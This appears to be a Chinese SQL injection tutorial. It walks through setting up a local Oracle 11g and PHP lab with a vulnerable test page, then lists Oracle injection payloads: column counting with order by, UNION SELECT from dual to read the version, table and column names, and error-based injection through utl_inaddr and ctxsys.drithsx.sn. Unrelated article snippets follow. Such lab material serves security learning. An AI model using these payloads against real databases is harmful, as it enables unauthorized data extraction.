SQL注入之Oracle注入

SQL注入之Oracle注入

7.1 SQL注入之Oracle环境搭建

前言

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。

特点:

1)完整的数据管理功能

2)数据的大量性

3)数据保存的持久性

4)数据的共享性

5)数据的可靠性

1.下载Oracle Database 11g Release 2 安装包

Windows环境(Win10)下安装、配置桌面类Oracle Database 11g Release 2

PS1:安装包分为了两个压缩包,需要都下载下来才能进行安装

132位&64位百度云分享链接及提取码:

链接: https://pan.baidu.com/s/1mh7s1nU

密码: 8neh

2.将下载好的两个压缩包解压到database同一个路径下(即进行合并)

image.png

3.点开上图中的database文件夹,双击运行setup.exe开始进行安装

image.png

4.加载安装程序需要一些时间,加载完成后便会出现安装界面,如果是在虚拟机的Windows10环境下进行的安装,会弹出“环境不满足最低要求”的对话框,如出现此窗口,则点击“是”进行后续操作

image.png

5.首先进行安全更新的配置,"电子邮件"处如果不需要接收Oracle的邮件通知则不填(如果没填的话会弹出一个“未指定电子邮箱地址”的窗口,如不需要接收其通知则点击“是”进行下一步操作),“安全更新”处如果不需要接收其更新则取消勾选

6.然后进入到“安装选项”的界面,选择“创建和配置数据库”(在安装完成后,会自动进入到数据库的配置界面)

7.接下来进入到“系统类”的选择,这里选择“桌面类”

8.接下来进入到“典型安装”的配置,下面为“典型配置”界面内容的说明

image.png

① “Oracle目录基目录”:所有Oracle产品的基目录,如果这里进行了修改,下面的目录也会相应地自动进行更改,目录名称不建议使用中文(玄学)

② “软件位置”:当前进行安装软件(即Oracle Database 11g)的安装目录,其安装目录不能含空格字符,同样不建议使用中文(玄学)

③ “数据文件位置”:存储数据库内容的位置,同样不建议使用中文(还是玄学)

④ 关于数据库版本:企业版包含了Oracle Database完整功能,其他版本的详细说明可以查看Oracle Database 的帮助文档

⑤ 关于字符集的选择:建议选择为UTF-8(通用性更好)

⑥ “全局数据库名”:启动数据库的名称(不超过8个字符)

⑦ “管理口令”:启动数据库的口令

注意:Oracle官方文档建议口令为(只是建议,如果是学习用的话可以设置得简单些,但要满足最低要求,例如设置为“Oracle”)

⑧ “确认口令”:在此字段再次输入管理口令

image.png

9.接下来会进行先决条件的检查,如果检查通过则会自动进入到“概要”界面,若检查出现错误提示,请自行寻找解决方案或者直接选择“忽略”

10.安装需要一些时间,耐心等待即可

11.之后会弹出数据库配置窗口(Database Configuration Assistant),不要点击“确定”或者直接关闭该窗口,而是点击“口令管理”,因为还需要“口令管理”窗口进行后续配置(用户的解锁以及口令的修改)

12.进入到管理窗口后,需要修改sys,system,scott,sh这四个用户(用户的解锁以及口令的修改)

下表为Oracle数据库中的主要用户及作用

image.png

口令的修改:在“新口令”处输入新口令,在“确认口令”处再次输入新口令(口令不能为空,不能超过30个字符,且不能为用户名)

之后点击“确定“即完成用户的解锁及口令的修改(如果口令不满足Oracle建议标准的四个“至少”依旧会弹出警告框,若出现则点击“是”继续后续操作)

13.之后会回到Database Configuration Assistant窗口,点击“确定”进入到“完成”界面

14.启动服务(非必选项,根据情况来)

安装完成后,在计算机系统中将出现若干个Oracle服务,可以进入到计算机管理界面,依次点击“服务和应用程序”、“服务”,以查看/管理Oracle 服务(具体如何进入到计算机管理界面请自行查询方法),这些服务可以都设置为手工启动(设置方法为:右键需要修改的服务→点击“属性”→在“启动类型”处设置为“手工启动”→点击“确定”),以防其对计算机运行/启动速度造成影响,等需要用到Oracle Database时再启动这些服务

image.png

15.测试下与Oracle Database的连接

运行SQL Plus

用户名:sys/as sysdba

image.png

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pS5i9aAq-1691667817115)(C:\Users\linyo\AppData\Roaming\Typora\typora-user-images\image-20230808122755690.png)]

7.2 SQL注入之Navicat连接和Oci8环境搭建

一、Navicat连接数据库

第一步,使用SQL Plus语句连接Oracle数据库

请输入用户名: sys/as sysdb

第二步,查看数据库版本信息

SQL> select * from v$version where rownum=1;BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production

第三步,创建账号。

SQL> create user mc IDENTIFIED BY 123456;用户已创建。

赋予权限连接数据库(CONNECT)、实体创建(RESOURCE)和管理员(DBA)

GRANT CONNECT, RESOURCE, DBA TO mc;

第四步,下载Navicat 使用Navicat连接Oracle数据库

解压运行Navicat.exe

测试连接:

image.png

测试语句:

image.png

二、Phpstudy调试OCI8扩展服务

OCI8是PHP的扩展组件,用以连接和操纵Oracle数据库(该名字源于Oracle中’C call interface’ API接口,该API最早在Oracle8中公布)。OCI 8 是开源的且已包括在PHP中了。

提前准备工作:

  1. 查看phpinfo() 确认下载版本
  2. 下载Oci8和Oracle Client

在WWW中创建info.php文件,运行以查看phpinfo信息

<?phpphpinfo();
?>

image.png

下载对应的oracle客户端, 下载地址:
https://www.oracle.com/database/technologies/instant-client/downloads.html

注意根据安装的Oracle版本来,上面我们查询过的 11.2.0.1.0

image.png

把文件夹中 oci.dll 和 oraocci11.dll 复制到 C:\phpstudy_pro\Extensions\php\php7.3.4nts中

下载OCI8,添加扩展

https://windows.php.net/downloads/pecl/releases/oci8/2.2.0/下载oci8,版本需要与php版本一致

打开下载文件,将php_oci8.dll、php_oci8_11g.dll、 php_oci8_12c.dll 扩展文件复制到PHP安装目录的ext目录下

image.png

image.png

点击设置,点击配置文件,打开php配置文件

image.png

添加修改数据: extension=oci8_12c , extension=oci8 , extension=pdo_oci 取消前面的 ; (;代表注释的意思)

三、测试

  1. 配置成功后重启服务
  2. 查看info.php文件
  3. http://localhost/phpinfo.php配置成功,则会出现oracle版本号,如下图所示image.png

四、Oracle注入漏洞靶场

  1. 将Oracle注入的文件(sql-test.php)复制到指定目录

  2. 使用Navicat打开数据库并创建一个简单的demo表 表名 和 数据库名 都必须要大写

    CREATE TABLE "EASTMOUNT"."DEMO" (
    "ID" NUMBER NOT NULL ,
    "NAME" VARCHAR2(20 BYTE) NULL ,
    "AGE" NUMBER NULL ,
    "SEX" VARCHAR2(20 BYTE) NULL 
    )
    LOGGING
    NOCOMPRESS
    NOCACHE
    ;
    

    image.png

  3. 简单插入一条数据

    image.png

  4. 运行靶场,传递id=1进行测试

    image.png

靶场相关环境搭建完毕!

7.3 SQL注入之Oracle联合注入

1.注入基本规则

  1. Oracle使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
  2. Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据是一致的,也可以是使用null代替某些无法快速猜测出数据类型的位置
  3. Oracle的单行注释符号是–,多行注释符号是/**/

2.实例注入语句

判断列数: ' order by 3 --
-------------------------------------------------------判断回显位置: 'union select null,null,null,unll from dual --
-------------------------------------------------------获取数据库版本信息:
select null,(select banner from sys.v_$version where rownum=1),null,null from dual 
-------------------------------------------------------获取数据表名:
union select null,table_name,null,null from user_tables where rownum=1union select null,(select table_name from user_tables where rownum=1),null,null from dual--<>排除条件
union select null,(select table_name from user_tables where rownum=1 and table_name<>'DEMO'),null,null from dual--
-------------------------------------------------------获取关键表中的列名:
union select null,column_name,null,null from user_tab_columns where table_name='DEMO'--union select null,column_name,null,null from user_tab_columns where table_name='DEMO' and rownum=1union select null,(select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null from dual--

3.注入流程

  1. 寻找注入点:基本的步骤就是找到与数据库交互的输入框,然后判断这个输入框的数据类型,以及它的数据的闭合方式,然后添加一些判断语句查看是否存在注入

    image.png

  2. 判断列数

    Oracle数据库同样是通过order by 进行查询数据表的列数判断,order by必须是select -list表达式的列数,在真实环境中一个表的列数可能数目较多,因此在列数判断中我们最好使用二分法。

    image.png

  3. Oracle联合查询

    跟之前学习的MySQL一样,Oracle同样通过union 来实现联合查询注入

    image.png

    注意:因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能表用

  4. 信息收集

    可以通过回显点收集相关信息

    select user from dual 获取用户名
    select banner from sys.v_$version where rownum=1 获取版本
    
  5. 查询表名 和 列名 获取数据

    image.png

7.4 SQL注入之Oracle报错盲注

  1. 1使用utl_inaddr.get_host_name()进行报错注入

    作用:用于取得局域网或Internet环境中的主机名和IP地址

    select utl_inaddr.get_host_name(‘127.0.0.1’) hostname from dual;

    image.png

    1注入语句:

    id=1  and 1=utl_inaddr.get_host_name((select user from dual))--
    

    image.png

  2. 使用ctxsys.drithsx.sn()进行报错注入

    报错语句:

    1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))ctxsys.drithsx.sn(mc,(查询函数))--
    

    image.png

    1这里为什么需要1=呢,是因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件

    rownum

    1select * from demo rownum <=3 ;

    为什么第一个查询有返回值,第二个查询只是将ROWNUM=2,就没有值返回。

    ROWNUM是一个伪列。该值在被读入cache中时被分配了一个值。每次查询该值都可能变化。同样的一行记录,可能由于读入cache中的行数不同,而导致ROWNUM不同。

    image.png

    image.png

    同样一行的rownum根据查询返回值的不同而不同。在任何情况下,只有当rownum=1返回之后,才能够返回rownum=2。如果查询rownum大于1的值,如rownum=3,则是无效的,总是返回"No Rows Selected"的信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/38941.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(el-Form)操作(不使用 ts):Element-plus 中 Form 表单组件校验规则等的使用

Ⅰ、Element-plus 提供的 Form 表单组件与想要目标情况的对比&#xff1a; 1、Element-plus 提供 Form 表单组件情况&#xff1a; 其一、Element-plus 自提供的 Form 代码情况为(示例的代码)&#xff1a; // Element-plus 自提供的代码&#xff1a; // 此时是使用了 ts 语言环…

6.3 社会工程学攻击

数据参考&#xff1a;CISP官方 目录 社会工程学攻击概念社会工程学攻击利用的人性 “弱点”典型社会工程学攻击方式社会工程学攻击防护 一、社会工程学攻击概念 什么是社会工程学攻击 也被称为 "社交工程学" 攻击利用人性弱点 (本能反应、贪婪、易于信任等) 进…

栈存储结构详解

目录 栈存储结构详解 进栈和出栈 栈的具体实现 栈的应用 什么是队列&#xff08;队列存储结构&#xff09; 栈存储结构详解 同顺序表和链表一样&#xff0c;栈也是用来存储逻辑关系为 "一对一" 数据的线性存储结构&#xff0c;如图 1 所示。 图 1 栈存储结构示意…

HTML5的介绍和基本框架

目录 HTML5 HTML5介绍 HTML5的DOCTYPE声明 HTML5基本骨架 html标签 head标签 body标签 title标签 meta标签 在vscode中写出第一个小框架 HTML5 HTML5介绍 HTML5是用来描述网页的一种语言&#xff0c;被称为超文本标记语言。用HTML5编写的文件&#xff0c;后缀以.ht…

设备加密狗

场景描述 随着科技的飞速发展&#xff0c;越来越多的智能设备走进生产加工车间。例如智能雕刻机、钣金机、 榫槽机、钻孔机、磨刀机等等。 目前市场的智能设备具有一个共同的特点&#xff0c;内置嵌入操作系统&#xff0c;如windows或者linux系统。设备制造商提供智能设备出…

连续两年增收不增利,比亚迪电子靠新能源汽车业务再次起飞?

在净利润连续两年下挫之后&#xff0c;比亚迪电子&#xff08;00285.HK&#xff09;终于迎来了好消息。 不久前比亚迪电子发布2023年中期盈利预告显示&#xff0c;上半年净利润同比增加115%-146%&#xff08;2022年上半年的净利润显示6.34亿元&#xff09;。 这主要受益于大客…

包管理工具 nvm npm nrm yarn cnpm npx pnpm详解

包管理工具 nvm npm yarn cnpm npx pnpm npm、cnpm、yarn、pnpm、npx、nvm的区别&#xff1a;https://blog.csdn.net/weixin_53791978/article/details/122533843 npm、cnpm、yarn、pnpm、npx、nvm的区别&#xff1a;https://blog.csdn.net/weixin_53791978/article/details/1…

强训第32

选择 D B A A 发送TCP意思应该是已经建立了连接&#xff0c;会超时重传。在未建立连接的时候&#xff0c;会放弃该链接 C A 80端口是http A 交换机攻击主要有五种&#xff1a;VLAN跳跃攻击 生成树攻击 MAC表洪水攻击 ARP攻击 VTP攻击 B A 2^(32-26)2^(32-27)2^(32-27)128 减去…

基于Java+SpringBoot+Vue+echarts健身房管理系统设计和实现

博主介绍&#xff1a;✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专…

maven Jar包反向install到本地仓库

maven Jar包反向install到本地仓库 需求实现 需求 项目打包时报错&#xff0c;缺少一个jar包。 但是在maven仓库都找不到此jar包&#xff0c;其他人提供了这个jar包。 需要把这个jar包install到本地仓库&#xff0c;使项目能正常打包运行。 实现 使用git bash命令执行以下脚…

16.3.4 【Linux】系统资源的观察

free &#xff1a;观察内存使用情况 系统当中有 2848MB 左右的实体内存&#xff0c;我的 swap 有 1GB 左右&#xff0c; 那我使用free -m 以 MBytes 来显示时&#xff0c;就会出现上面的信息。Mem 那一行显示的是实体内存的量&#xff0c;Swap 则是内存交换空间的量。 total 是…

C++多态

文章目录 &#x1f435;1. 什么是多态&#x1f436;2. 构成多态的条件&#x1f429;2.1 虚函数&#x1f429;2.2 虚函数的重写&#x1f429;2.3 final 和 override关键字&#x1f429;2.4 重载、重写、重定义对比 &#x1f431;3. 虚函数表&#x1f42f;4. 多态的原理&#x1f…

【变形金刚01】attention和transformer所有信息

图1.来源&#xff1a;Arseny Togulev在Unsplash上的照片 一、说明 这是一篇 长文 &#xff0c;几乎讨论了人们需要了解的有关注意力机制的所有信息&#xff0c;包括自我注意、查询、键、值、多头注意力、屏蔽多头注意力和转换器&#xff0c;包括有关 BERT 和 GPT 的一些细节。因…

OpenCV图像处理——轮廓检测

目录 图像的轮廓查找轮廓绘制轮廓 轮廓的特征轮廓面积轮廓周长轮廓近似凸包边界矩形最小外接圆椭圆拟合直线拟合 图像的矩特征矩的概念图像中的矩特征 图像的轮廓 查找轮廓 binary,contours,hierarchycv.findContours(img,mode,method)绘制轮廓 cv.drawContours(img,coutours…

印度货代专线【我国到印度专线有哪些方式】

随着全球贸易的不断发展&#xff0c;我国与印度之间的贸易往来也日益频繁。作为两个人口最多的国家之一&#xff0c;中国和印度之间的货物运输需求不断增长。为了满足这一需求&#xff0c;印度货代专线应运而生&#xff0c;为进出口商提供高效、可靠的货物运输服务。本文将探索…

939. 最小面积矩形;2166. 设计位集;2400. 恰好移动 k 步到达某一位置的方法数目

939. 最小面积矩形 核心思想&#xff1a;枚举矩形的右边那条边的两个点&#xff0c;并用一个哈希表存储相同纵坐标的最近出现的列的列数,不断更新最近出现的左边那条边。 2166. 设计位集 核心思想&#xff1a;这题主要是时间复杂度的优化&#xff0c;用一个flag来标记当前翻转…

CSS自学框架之表单

首先我们看一下表单样式&#xff0c;下面共有5张截图 一、CSS代码 /*表单*/fieldset{border: none;margin-bottom: 2em;}fieldset > *{ margin-bottom: 1em }fieldset:last-child{ margin-bottom: 0 }fieldset legend{ margin: 0 0 1em }/* legend标签是CSS中用于定义…

IOS开发-XCode14介绍与入门

IOS开发-XCode14介绍与入门 1. XCODE14的小吐槽2. XCODE的功能bar一览3. XCODE项目配置一览4. XCODE更改DEBUG/RELEASE模式5. XCODE单元测试 1. XCODE14的小吐槽 iOS开发工具一直有个毛病&#xff0c;就是新版本的开发工具的总会有一些奇奇怪怪的bug。比如在我的Mac-Pro&#…

Springboot 实践(3)配置DataSource及创建数据库

前文讲述了利用MyEclipse2019开发工具&#xff0c;创建maven工程、加载springboot、swagger-ui功能。本文讲述创建数据库&#xff0c;为项目配置数据源&#xff0c;实现数据的增删改查服务&#xff0c;并通过swagger-ui界面举例调试服务控制器 创建数据库 项目使用MySQL 8.0.…

vue基础知识四:Vue实例挂载的过程

一、思考 我们都听过知其然知其所以然这句话 那么不知道大家是否思考过new Vue()这个过程中究竟做了些什么&#xff1f; 过程中是如何完成数据的绑定&#xff0c;又是如何将数据渲染到视图的等等 一、分析 首先找到vue的构造函数 源码位置&#xff1a;src\core\instance\…